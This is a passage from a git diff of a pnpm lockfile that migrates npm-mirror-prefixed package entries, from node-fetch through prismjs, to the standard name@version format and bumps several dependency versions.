https://registry.npmmirror.com/moment-mini/-/moment-mini-2.24.0.tgz} - name: moment-mini - version: 2.24.0 + /npm-run-path@4.0.1: + resolution: {integrity: sha512-S48WzZW777zhNIrn7gxOlISNAqi9ZC/uQFnRdbeIHhZhCA6UqpkOT8T1G7BvfdgP4Er8gF4sUbaS0i7QvIfCWw==} + engines: {node: '>=8'} + dependencies: + path-key: 3.1.1 dev: true - registry.npmmirror.com/ms/2.1.2: - resolution: {integrity: sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/ms/-/ms-2.1.2.tgz} - name: ms - version: 2.1.2 + /npm-run-path@5.1.0: + resolution: {integrity: sha512-sJOdmRGrY2sjNTRMbSvluQqg+8X7ZK61yvzBEIDhz4f8z1TZFYABsqjjCBd/0PUNE9M6QDgHJXQkGUEm7Q+l9Q==} + engines: {node: ^12.20.0 || ^14.13.1 || >=16.0.0} + dependencies: + path-key: 4.0.0 dev: true - registry.npmmirror.com/nanoid/3.3.4: - resolution: {integrity: sha512-MqBkQh/OHTS2egovRtLk45wEyNXwF+cokD+1YPf9u5VfJiRdAiRwB2froX5Co9Rh20xs4siNPm8naNotSD6RBw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/nanoid/-/nanoid-3.3.4.tgz} - name: nanoid - version: 3.3.4 - engines: {node: ^10 || ^12 || ^13.7 || ^14 || >=15.0.1} - hasBin: true + /nth-check@2.1.1: + resolution: {integrity: sha512-lqjrjmaOoAnWfMmBPL+XNnynZh2+swxiX3WUE0s4yEHI6m+AwrK2UZOimIRl3X/4QctVqS8AiZjFqyOGrMXb/w==} + dependencies: + boolbase: 1.0.0 dev: true - registry.npmmirror.com/node-fetch/2.6.7: - resolution: {integrity: sha512-ZjMPFEfVx5j+y2yF35Kzx5sF7kDzxuDj6ziH4FFbOp87zKDZNx8yExJIb05OGF4Nlt9IHFIMBkRl41VdvcNdbQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/node-fetch/-/node-fetch-2.6.7.tgz} - name: node-fetch - version: 2.6.7 - engines: {node: 4.x || >=6.0.0} - peerDependencies: - encoding: ^0.1.0 - peerDependenciesMeta: - encoding: - optional: true - dependencies: - whatwg-url: registry.npmmirror.com/whatwg-url/5.0.0 + /object-inspect@1.12.0: + resolution: {integrity: sha512-Ho2z80bVIvJloH+YzRmpZVQe87+qASmBUKZDWgx9cu+KDrX2ZDH/3tMy+gXbZETVGs2M8YdxObOh7XAtim9Y0g==} dev: true - registry.npmmirror.com/node-releases/2.0.6: - resolution: {integrity: sha512-PiVXnNuFm5+iYkLBNeq5211hvO38y63T0i2KKh2KnUs3RpzJ+JtODFjkD8yjLwnDkTYF1eKXheUwdssR+NRZdg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/node-releases/-/node-releases-2.0.6.tgz} - name: node-releases - version: 2.0.6 + /object-keys@1.1.1: + resolution: {integrity: sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==} + engines: {node: '>= 0.4'} dev: true - registry.npmmirror.com/nodemailer/6.9.1: - resolution: {integrity: sha512-qHw7dOiU5UKNnQpXktdgQ1d3OFgRAekuvbJLcdG5dnEo/GtcTHRYM7+UfJARdOFU9WUQO8OiIamgWPmiSFHYAA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/nodemailer/-/nodemailer-6.9.1.tgz} - name: nodemailer - version: 6.9.1 - engines: {node: '>=6.0.0'} + /object.assign@4.1.2: + resolution: {integrity: sha512-ixT2L5THXsApyiUPYKmW+2EHpXXe5Ii3M+f4e+aJFAHao5amFRW6J0OO6c/LU8Be47utCx2GL89hxGB6XSmKuQ==} + engines: {node: '>= 0.4'} + dependencies: + call-bind: 1.0.2 + define-properties: 1.1.4 + has-symbols: 1.0.3 + object-keys: 1.1.1 dev: true - registry.npmmirror.com/non-layered-tidy-tree-layout/2.0.2: - resolution: {integrity: sha512-gkXMxRzUH+PB0ax9dUN0yYF0S25BqeAYqhgMaLUFmpXLEk7Fcu8f4emJuOAY0V8kjDICxROIKsTAKsV/v355xw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/non-layered-tidy-tree-layout/-/non-layered-tidy-tree-layout-2.0.2.tgz} - name: non-layered-tidy-tree-layout - version: 2.0.2 + /once@1.4.0: + resolution: {integrity: sha1-WDsap3WWHUsROsF9nFC6753Xa9E=} + dependencies: + wrappy: 1.0.2 dev: true - registry.npmmirror.com/normalize-path/3.0.0: - resolution: {integrity: sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/normalize-path/-/normalize-path-3.0.0.tgz} - name: normalize-path - version: 3.0.0 - engines: {node: '>=0.10.0'} + /onetime@2.0.1: + resolution: {integrity: sha512-oyyPpiMaKARvvcgip+JV+7zci5L8D1W9RZIz2l1o08AM3pfspitVWnPt3mzHcBPp12oYMTy0pqrFs/C+m3EwsQ==} + engines: {node: '>=4'} + dependencies: + mimic-fn: 1.2.0 dev: true - registry.npmmirror.com/normalize-range/0.1.2: - resolution: {integrity: sha512-bdok/XvKII3nUpklnV6P2hxtMNrCboOjAcyBuQnWEhO665FwrSNRxU+AqpsyvO6LgGYPspN+lu5CLtw4jPRKNA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/normalize-range/-/normalize-range-0.1.2.tgz} - name: normalize-range - version: 0.1.2 - engines: {node: '>=0.10.0'} + /onetime@5.1.2: + resolution: {integrity: sha512-kbpaSSGJTWdAY5KPVeMOKXSrPtr8C8C7wodJbcsd51jRnmD+GZu8Y0VoU6Dm5Z4vWr0Ig/1NKuWRKf7j5aaYSg==} + engines: {node: '>=6'} + dependencies: + mimic-fn: 2.1.0 dev: true - registry.npmmirror.com/npm-run-path/4.0.1: - resolution: {integrity: sha512-S48WzZW777zhNIrn7gxOlISNAqi9ZC/uQFnRdbeIHhZhCA6UqpkOT8T1G7BvfdgP4Er8gF4sUbaS0i7QvIfCWw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/npm-run-path/-/npm-run-path-4.0.1.tgz} - name: npm-run-path - version: 4.0.1 - engines: {node: '>=8'} + /onetime@6.0.0: + resolution: {integrity: sha512-1FlR+gjXK7X+AsAHso35MnyN5KqGwJRi/31ft6x0M194ht7S+rWAvd7PHss9xSKMzE0asv1pyIHaJYq+BbacAQ==} + engines: {node: '>=12'} dependencies: - path-key: registry.npmmirror.com/path-key/3.1.1 + mimic-fn: 4.0.0 dev: true - registry.npmmirror.com/npm-run-path/5.1.0: - resolution: {integrity: sha512-sJOdmRGrY2sjNTRMbSvluQqg+8X7ZK61yvzBEIDhz4f8z1TZFYABsqjjCBd/0PUNE9M6QDgHJXQkGUEm7Q+l9Q==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/npm-run-path/-/npm-run-path-5.1.0.tgz} - name: npm-run-path - version: 5.1.0 - engines: {node: ^12.20.0 || ^14.13.1 || >=16.0.0} + /option-validator@2.0.6: + resolution: {integrity: sha512-tmZDan2LRIRQyhUGvkff68/O0R8UmF+Btmiiz0SmSw2ng3CfPZB9wJlIjHpe/MKUZqyIZkVIXCrwr1tIN+0Dzg==} dependencies: - path-key: registry.npmmirror.com/path-key/4.0.0 + kind-of: 6.0.3 dev: true - registry.npmmirror.com/nth-check/2.1.1: - resolution: {integrity: sha512-lqjrjmaOoAnWfMmBPL+XNnynZh2+swxiX3WUE0s4yEHI6m+AwrK2UZOimIRl3X/4QctVqS8AiZjFqyOGrMXb/w==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/nth-check/-/nth-check-2.1.1.tgz} - name: nth-check - version: 2.1.1 + /ora@6.3.1: + resolution: {integrity: sha512-ERAyNnZOfqM+Ao3RAvIXkYh5joP220yf59gVe2X/cI6SiCxIdi4c9HZKZD8R6q/RDXEje1THBju6iExiSsgJaQ==} + engines: {node: ^12.20.0 || ^14.13.1 || >=16.0.0} dependencies: - boolbase: registry.npmmirror.com/boolbase/1.0.0 + chalk: 5.1.2 + cli-cursor: 4.0.0 + cli-spinners: 2.6.1 + is-interactive: 2.0.0 + is-unicode-supported: 1.3.0 + log-symbols: 5.1.0 + stdin-discarder: 0.1.0 + strip-ansi: 7.0.1 + wcwidth: 1.0.1 dev: true - registry.npmmirror.com/object-inspect/1.12.0: - resolution: {integrity: sha512-Ho2z80bVIvJloH+YzRmpZVQe87+qASmBUKZDWgx9cu+KDrX2ZDH/3tMy+gXbZETVGs2M8YdxObOh7XAtim9Y0g==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/object-inspect/-/object-inspect-1.12.0.tgz} - name: object-inspect - version: 1.12.0 + /os-tmpdir@1.0.2: + resolution: {integrity: sha512-D2FR03Vir7FIu45XBY20mTb+/ZSWB00sjU9jdQXt83gDrI4Ztz5Fs7/yy74g2N5SVQY4xY1qDr4rNddwYRVX0g==} + engines: {node: '>=0.10.0'} dev: true - registry.npmmirror.com/object-keys/1.1.1: - resolution: {integrity: sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/object-keys/-/object-keys-1.1.1.tgz} - name: object-keys - version: 1.1.1 - engines: {node: '>= 0.4'} + /p-limit@2.3.0: + resolution: {integrity: sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==} + engines: {node: '>=6'} + dependencies: + p-try: 2.2.0 dev: true - registry.npmmirror.com/object.assign/4.1.2: - resolution: {integrity: sha512-ixT2L5THXsApyiUPYKmW+2EHpXXe5Ii3M+f4e+aJFAHao5amFRW6J0OO6c/LU8Be47utCx2GL89hxGB6XSmKuQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/object.assign/-/object.assign-4.1.2.tgz} - name: object.assign - version: 4.1.2 - engines: {node: '>= 0.4'} + /p-limit@3.1.0: + resolution: {integrity: sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==} + engines: {node: '>=10'} + dependencies: + yocto-queue: 0.1.0 + dev: true + + /p-locate@4.1.0: + resolution: {integrity: sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==} + engines: {node: '>=8'} dependencies: - call-bind: registry.npmmirror.com/call-bind/1.0.2 - define-properties: registry.npmmirror.com/define-properties/1.1.4 - has-symbols: registry.npmmirror.com/has-symbols/1.0.3 - object-keys: registry.npmmirror.com/object-keys/1.1.1 + p-limit: 2.3.0 dev: true - registry.npmmirror.com/once/1.4.0: - resolution: {integrity: sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/once/-/once-1.4.0.tgz} - name: once - version: 1.4.0 + /p-locate@5.0.0: + resolution: {integrity: sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw==} + engines: {node: '>=10'} dependencies: - wrappy: registry.npmmirror.com/wrappy/1.0.2 + p-limit: 3.1.0 dev: true - registry.npmmirror.com/onetime/2.0.1: - resolution: {integrity: sha512-oyyPpiMaKARvvcgip+JV+7zci5L8D1W9RZIz2l1o08AM3pfspitVWnPt3mzHcBPp12oYMTy0pqrFs/C+m3EwsQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/onetime/-/onetime-2.0.1.tgz} - name: onetime - version: 2.0.1 - engines: {node: '>=4'} - dependencies: - mimic-fn: registry.npmmirror.com/mimic-fn/1.2.0 + /p-try@2.2.0: + resolution: {integrity: sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==} + engines: {node: '>=6'} dev: true - registry.npmmirror.com/onetime/5.1.2: - resolution: {integrity: sha512-kbpaSSGJTWdAY5KPVeMOKXSrPtr8C8C7wodJbcsd51jRnmD+GZu8Y0VoU6Dm5Z4vWr0Ig/1NKuWRKf7j5aaYSg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/onetime/-/onetime-5.1.2.tgz} - name: onetime - version: 5.1.2 + /parent-module@1.0.1: + resolution: {integrity: sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==} engines: {node: '>=6'} dependencies: - mimic-fn: registry.npmmirror.com/mimic-fn/2.1.0 + callsites: 3.1.0 dev: true - registry.npmmirror.com/onetime/6.0.0: - resolution: {integrity: sha512-1FlR+gjXK7X+AsAHso35MnyN5KqGwJRi/31ft6x0M194ht7S+rWAvd7PHss9xSKMzE0asv1pyIHaJYq+BbacAQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/onetime/-/onetime-6.0.0.tgz} - name: onetime - version: 6.0.0 - engines: {node: '>=12'} + /parse-json@5.2.0: + resolution: {integrity: sha512-ayCKvm/phCGxOkYRSCM82iDwct8/EonSEgCSxWxD7ve6jHggsFl4fZVQBPRNgQoKiuV/odhFrGzQXZwbifC8Rg==} + engines: {node: '>=8'} dependencies: - mimic-fn: registry.npmmirror.com/mimic-fn/4.0.0 + '@babel/code-frame': 7.16.7 + error-ex: 1.3.2 + json-parse-even-better-errors: 2.3.1 + lines-and-columns: 1.2.4 dev: true - registry.npmmirror.com/ora/6.1.2: - resolution: {integrity: sha512-EJQ3NiP5Xo94wJXIzAyOtSb0QEIAUu7m8t6UZ9krbz0vAJqr92JpcK/lEXg91q6B9pEGqrykkd2EQplnifDSBw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/ora/-/ora-6.1.2.tgz} - name: ora - version: 6.1.2 - engines: {node: ^12.20.0 || ^14.13.1 || >=16.0.0} - dependencies: - bl: registry.npmmirror.com/bl/5.1.0 - chalk: registry.npmmirror.com/chalk/5.1.2 - cli-cursor: registry.npmmirror.com/cli-cursor/4.0.0 - cli-spinners: registry.npmmirror.com/cli-spinners/2.6.1 - is-interactive: registry.npmmirror.com/is-interactive/2.0.0 - is-unicode-supported: registry.npmmirror.com/is-unicode-supported/1.3.0 - log-symbols: registry.npmmirror.com/log-symbols/5.1.0 - strip-ansi: registry.npmmirror.com/strip-ansi/7.0.1 - wcwidth: registry.npmmirror.com/wcwidth/1.0.1 - dev: true - - registry.npmmirror.com/parse-json/5.2.0: - resolution: {integrity: sha512-ayCKvm/phCGxOkYRSCM82iDwct8/EonSEgCSxWxD7ve6jHggsFl4fZVQBPRNgQoKiuV/odhFrGzQXZwbifC8Rg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/parse-json/-/parse-json-5.2.0.tgz} - name: parse-json - version: 5.2.0 - engines: {node: '>=8'} - dependencies: - '@babel/code-frame': registry.npmmirror.com/@babel/code-frame/7.16.7 - error-ex: registry.npmmirror.com/error-ex/1.3.2 - json-parse-even-better-errors: registry.npmmirror.com/json-parse-even-better-errors/2.3.1 - lines-and-columns: registry.npmmirror.com/lines-and-columns/1.2.4 + /parse-passwd@1.0.0: + resolution: {integrity: sha512-1Y1A//QUXEZK7YKz+rD9WydcE1+EuPr6ZBgKecAB8tmoW6UFv0NREVJe1p+jRxtThkcbbKkfwIbWJe/IeE6m2Q==} + engines: {node: '>=0.10.0'} dev: true - registry.npmmirror.com/parse5-htmlparser2-tree-adapter/6.0.1: - resolution: {integrity: sha512-qPuWvbLgvDGilKc5BoicRovlT4MtYT6JfJyBOMDsKoiT+GiuP5qyrPCnR9HcPECIJJmZh5jRndyNThnhhb/vlA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/parse5-htmlparser2-tree-adapter/-/parse5-htmlparser2-tree-adapter-6.0.1.tgz} - name: parse5-htmlparser2-tree-adapter - version: 6.0.1 + /parse5-htmlparser2-tree-adapter@7.0.0: + resolution: {integrity: sha512-B77tOZrqqfUfnVcOrUvfdLbz4pu4RopLD/4vmu3HUPswwTA8OH0EMW9BlWR2B0RCoiZRAHEUu7IxeP1Pd1UU+g==} dependencies: - parse5: registry.npmmirror.com/parse5/6.0.1 + domhandler: 5.0.3 + parse5: 7.1.1 dev: true - registry.npmmirror.com/parse5-htmlparser2-tree-adapter/7.0.0: - resolution: {integrity: sha512-B77tOZrqqfUfnVcOrUvfdLbz4pu4RopLD/4vmu3HUPswwTA8OH0EMW9BlWR2B0RCoiZRAHEUu7IxeP1Pd1UU+g==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/parse5-htmlparser2-tree-adapter/-/parse5-htmlparser2-tree-adapter-7.0.0.tgz} - name: parse5-htmlparser2-tree-adapter - version: 7.0.0 + /parse5@7.1.1: + resolution: {integrity: sha512-kwpuwzB+px5WUg9pyK0IcK/shltJN5/OVhQagxhCQNtT9Y9QRZqNY2e1cmbu/paRh5LMnz/oVTVLBpjFmMZhSg==} dependencies: - domhandler: registry.npmmirror.com/domhandler/5.0.3 - parse5: registry.npmmirror.com/parse5/7.1.1 + entities: 4.4.0 dev: true - registry.npmmirror.com/parse5/6.0.1: - resolution: {integrity: sha512-Ofn/CTFzRGTTxwpNEs9PP93gXShHcTq255nzRYSKe8AkVpZY7e1fpmTfOyoIvjP5HG7Z2ZM7VS9PPhQGW2pOpw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/parse5/-/parse5-6.0.1.tgz} - name: parse5 - version: 6.0.1 + /path-browserify@1.0.1: + resolution: {integrity: sha512-b7uo2UCUOYZcnF/3ID0lulOJi/bafxa1xPe7ZPsammBSpjSWQkjNxlt635YGS2MiR9GjvuXCtz2emr3jbsz98g==} dev: true - registry.npmmirror.com/parse5/7.1.1: - resolution: {integrity: sha512-kwpuwzB+px5WUg9pyK0IcK/shltJN5/OVhQagxhCQNtT9Y9QRZqNY2e1cmbu/paRh5LMnz/oVTVLBpjFmMZhSg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/parse5/-/parse5-7.1.1.tgz} - name: parse5 - version: 7.1.1 - dependencies: - entities: registry.npmmirror.com/entities/4.4.0 + /path-exists@4.0.0: + resolution: {integrity: sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==} + engines: {node: '>=8'} dev: true - registry.npmmirror.com/path-is-absolute/1.0.1: - resolution: {integrity: sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/path-is-absolute/-/path-is-absolute-1.0.1.tgz} - name: path-is-absolute - version: 1.0.1 + /path-is-absolute@1.0.1: + resolution: {integrity: sha1-F0uSaHNVNP+8es5r9TpanhtcX18=} engines: {node: '>=0.10.0'} dev: true - registry.npmmirror.com/path-key/3.1.1: - resolution: {integrity: sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/path-key/-/path-key-3.1.1.tgz} - name: path-key - version: 3.1.1 + /path-key@3.1.1: + resolution: {integrity: sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==} engines: {node: '>=8'} dev: true - registry.npmmirror.com/path-key/4.0.0: - resolution: {integrity: sha512-haREypq7xkM7ErfgIyA0z+Bj4AGKlMSdlQE2jvJo6huWD1EdkKYV+G/T4nq0YEF2vgTT8kqMFKo1uHn950r4SQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/path-key/-/path-key-4.0.0.tgz} - name: path-key - version: 4.0.0 + /path-key@4.0.0: + resolution: {integrity: sha512-haREypq7xkM7ErfgIyA0z+Bj4AGKlMSdlQE2jvJo6huWD1EdkKYV+G/T4nq0YEF2vgTT8kqMFKo1uHn950r4SQ==} engines: {node: '>=12'} dev: true - registry.npmmirror.com/path-parse/1.0.7: - resolution: {integrity: sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/path-parse/-/path-parse-1.0.7.tgz} - name: path-parse - version: 1.0.7 + /path-parse@1.0.7: + resolution: {integrity: sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==} dev: true - registry.npmmirror.com/path-type/4.0.0: - resolution: {integrity: sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/path-type/-/path-type-4.0.0.tgz} - name: path-type - version: 4.0.0 + /path-type@4.0.0: + resolution: {integrity: sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw==} engines: {node: '>=8'} dev: true - registry.npmmirror.com/photoswipe/5.3.3: - resolution: {integrity: sha512-BUuulwZwkYFKADSe5xf0dd+wf6dws34ZvqP8R3oYHepRauOXoQHvw600sw1HlWd8K0S3LRCS4jxyR5fTuI383Q==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/photoswipe/-/photoswipe-5.3.3.tgz} - name: photoswipe - version: 5.3.3 + /photoswipe@5.3.8: + resolution: {integrity: sha512-4vTzOQt8GP4Chsm0s+8j2xDtVHAEN252PxrU12A1zXauNn0zD5HRHgjALKO2GKTyBnTnOrJUOxbV8LTrFIMrYw==} engines: {node: '>= 0.12.0'} dev: true - registry.npmmirror.com/picocolors/1.0.0: - resolution: {integrity: sha512-1fygroTLlHu66zi26VoTDv8yRgm0Fccecssto+MhsZ0D/DGW2sm8E8AjW7NU5VVTRt5GxbeZ5qBuJr+HyLYkjQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/picocolors/-/picocolors-1.0.0.tgz} - name: picocolors - version: 1.0.0 + /picocolors@1.0.0: + resolution: {integrity: sha512-1fygroTLlHu66zi26VoTDv8yRgm0Fccecssto+MhsZ0D/DGW2sm8E8AjW7NU5VVTRt5GxbeZ5qBuJr+HyLYkjQ==} dev: true - registry.npmmirror.com/picomatch/2.3.1: - resolution: {integrity: sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/picomatch/-/picomatch-2.3.1.tgz} - name: picomatch - version: 2.3.1 + /picomatch@2.3.1: + resolution: {integrity: sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==} engines: {node: '>=8.6'} dev: true - registry.npmmirror.com/postcss-load-config/4.0.1_postcss@8.4.19: - resolution: {integrity: sha512-vEJIc8RdiBRu3oRAI0ymerOn+7rPuMvRXslTvZUKZonDHFIczxztIyJ1urxM1x9JXEikvpWWTUUqal5j/8QgvA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/postcss-load-config/-/postcss-load-config-4.0.1.tgz} - id: registry.npmmirror.com/postcss-load-config/4.0.1 - name: postcss-load-config - version: 4.0.1 + /plyr@3.7.8: + resolution: {integrity: sha512-yG/EHDobwbB/uP+4Bm6eUpJ93f8xxHjjk2dYcD1Oqpe1EcuQl5tzzw9Oq+uVAzd2lkM11qZfydSiyIpiB8pgdA==} + dependencies: + core-js: 3.31.1 + custom-event-polyfill: 1.0.7 + loadjs: 4.2.0 + rangetouch: 2.0.1 + url-polyfill: 1.1.12 + dev: true + + /pngjs@5.0.0: + resolution: {integrity: sha512-40QW5YalBNfQo5yRYmiw7Yz6TKKVr3h6970B2YE+3fQpsWcrbj1PzJgxeJ19DRQjhMbKPIuMY8rFaXc8moolVw==} + engines: {node: '>=10.13.0'} + dev: true + + /postcss-load-config@4.0.1(postcss@8.4.25): + resolution: {integrity: sha512-vEJIc8RdiBRu3oRAI0ymerOn+7rPuMvRXslTvZUKZonDHFIczxztIyJ1urxM1x9JXEikvpWWTUUqal5j/8QgvA==} engines: {node: '>= 14'} peerDependencies: postcss: '>=8.0.9' @@ -7027,871 +5558,1003 @@ packages: ts-node: optional: true dependencies: - lilconfig: registry.npmmirror.com/lilconfig/2.0.6 - postcss: registry.npmmirror.com/postcss/8.4.19 - yaml: registry.npmmirror.com/yaml/2.1.3 + lilconfig: 2.0.6 + postcss: 8.4.25 + yaml: 2.1.3 dev: true - registry.npmmirror.com/postcss-value-parser/4.2.0: - resolution: {integrity: sha512-1NNCs6uurfkVbeXG4S8JFT9t19m45ICnif8zWLd5oPSZ50QnwMfK+H3jv408d4jw/7Bttv5axS5IiHoLaVNHeQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/postcss-value-parser/-/postcss-value-parser-4.2.0.tgz} - name: postcss-value-parser - version: 4.2.0 + /postcss-value-parser@4.2.0: + resolution: {integrity: sha512-1NNCs6uurfkVbeXG4S8JFT9t19m45ICnif8zWLd5oPSZ50QnwMfK+H3jv408d4jw/7Bttv5axS5IiHoLaVNHeQ==} dev: true - registry.npmmirror.com/postcss/8.4.13: - resolution: {integrity: sha512-jtL6eTBrza5MPzy8oJLFuUscHDXTV5KcLlqAWHl5q5WYRfnNRGSmOZmOZ1T6Gy7A99mOZfqungmZMpMmCVJ8ZA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/postcss/-/postcss-8.4.13.tgz} - name: postcss - version: 8.4.13 + /postcss@8.4.25: + resolution: {integrity: sha512-7taJ/8t2av0Z+sQEvNzCkpDynl0tX3uJMCODi6nT3PfASC7dYCWV9aQ+uiCf+KBD4SEFcu+GvJdGdwzQ6OSjCw==} engines: {node: ^10 || ^12 || >=14} dependencies: - nanoid: registry.npmmirror.com/nanoid/3.3.4 - picocolors: registry.npmmirror.com/picocolors/1.0.0 - source-map-js: registry.npmmirror.com/source-map-js/1.0.2 + nanoid: 3.3.6 + picocolors: 1.0.0 + source-map-js: 1.0.2 dev: true - registry.npmmirror.com/postcss/8.4.19: - resolution: {integrity: sha512-h+pbPsyhlYj6N2ozBmHhHrs9DzGmbaarbLvWipMRO7RLS+v4onj26MPFXA5OBYFxyqYhUJK456SwDcY9H2/zsA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/postcss/-/postcss-8.4.19.tgz} - name: postcss - version: 8.4.19 - engines: {node: ^10 || ^12 || >=14} - dependencies: - nanoid: registry.npmmirror.com/nanoid/3.3.4 - picocolors: registry.npmmirror.com/picocolors/1.0.0 - source-map-js: registry.npmmirror.com/source-map-js/1.0.2 + /pretty-bytes@5.6.0: + resolution: {integrity: sha512-FFw039TmrBqFK8ma/7OL3sDz/VytdtJr044/QUJtH0wK9lb9jLq9tJyIxUwtQJHwar2BqtiA4iCWSwo9JLkzFg==} + engines: {node: '>=6'} dev: true - registry.npmmirror.com/pretty-bytes/5.6.0: - resolution: {integrity: sha512-FFw039TmrBqFK8ma/7OL3sDz/VytdtJr044/QUJtH0wK9lb9jLq9tJyIxUwtQJHwar2BqtiA4iCWSwo9JLkzFg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/pretty-bytes/-/pretty-bytes-5.6.0.tgz} - name: pretty-bytes - version: 5.6.0 + /prismjs@1.29.0: + resolution: {integrity: sha512-Kx/1w86q/epKcmte75LNrEoT+lX8pBpavuAbvJWRXar7Hz8jrtF+e3vY751p0R8H9HdArwaCTNDDzHg/ScJK1Q==} engines: {node: '>=6'} dev: true - registry.npmmirror.com/prismjs/1.29.0: - resolution: {integrity: sha512-Kx/1w86q/epKcmte75LNrEoT+lX8pBpavuAbvJWRXar7Hz8jrtF+e3vY751p0R8H9HdArwaCTNDDzHg/ScJK1Q==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/prismjs/-/prismjs-1.29.0.tgz} - name: prismjs - version: 1.29.0 + /punycode@2.1.1: + resolution: {integrity: 